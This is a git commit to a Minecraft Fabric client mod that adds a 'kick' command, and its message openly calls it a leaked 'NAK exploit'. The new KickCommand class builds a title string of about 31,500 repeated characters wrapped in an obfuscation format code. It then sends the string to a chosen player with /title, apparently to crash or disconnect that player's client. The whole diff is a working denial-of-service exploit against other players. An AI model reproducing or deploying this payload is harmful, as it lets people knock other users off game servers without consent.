Add kick command

I am leaking the NAK exploit yet again...

src/main/java/land/chipmunk/chipmunkmod/command/CommandManager.java

@@ -41,6 +41,7 @@ public class CommandManager {
 //    LoopCrouchCommand.register(this.dispatcher); // ^???????????????????
     DebugCommand.register(this.dispatcher);
     ClearAntiChatSpamQueueCommand.register(this.dispatcher);
+    KickCommand.register(this.dispatcher);
   }
 
   public void executeCommand (String command) {

src/main/java/land/chipmunk/chipmunkmod/commands/KickCommand.java

@@ -0,0 +1,43 @@
+package land.chipmunk.chipmunkmod.commands;
+
+import com.mojang.brigadier.Command;
+import com.mojang.brigadier.CommandDispatcher;
+import com.mojang.brigadier.context.CommandContext;
+
+import static land.chipmunk.chipmunkmod.command.CommandManager.literal;
+import static land.chipmunk.chipmunkmod.command.CommandManager.argument;
+import static com.mojang.brigadier.arguments.StringArgumentType.greedyString;
+import static com.mojang.brigadier.arguments.StringArgumentType.getString;
+import net.fabricmc.fabric.api.client.command.v2.FabricClientCommandSource;
+import land.chipmunk.chipmunkmod.modules.CommandCore;
+
+public class KickCommand {
+  public static void register (CommandDispatcher<FabricClientCommandSource> dispatcher) {
+    dispatcher.register(
+      literal("kick")
+        .then(
+          argument("player", greedyString())
+        .executes(c -> run(c))
+      )
+    );
+  }
+
+  public static int run (CommandContext<FabricClientCommandSource> context) {
+
+    final String payloadStart = "uwu\u00a7k";
+
+    final String payloadEnd = "uwu";
+
+    final StringBuffer payload = new StringBuffer();
+    payload.append(payloadStart);
+
+    for(int i = 0; i < 31500; i++) {
+      payload.append("猫");
+    }
+
+    payload.append(payloadEnd);
+    CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\"");
+
+    return Command.SINGLE_SUCCESS;
+  }
+}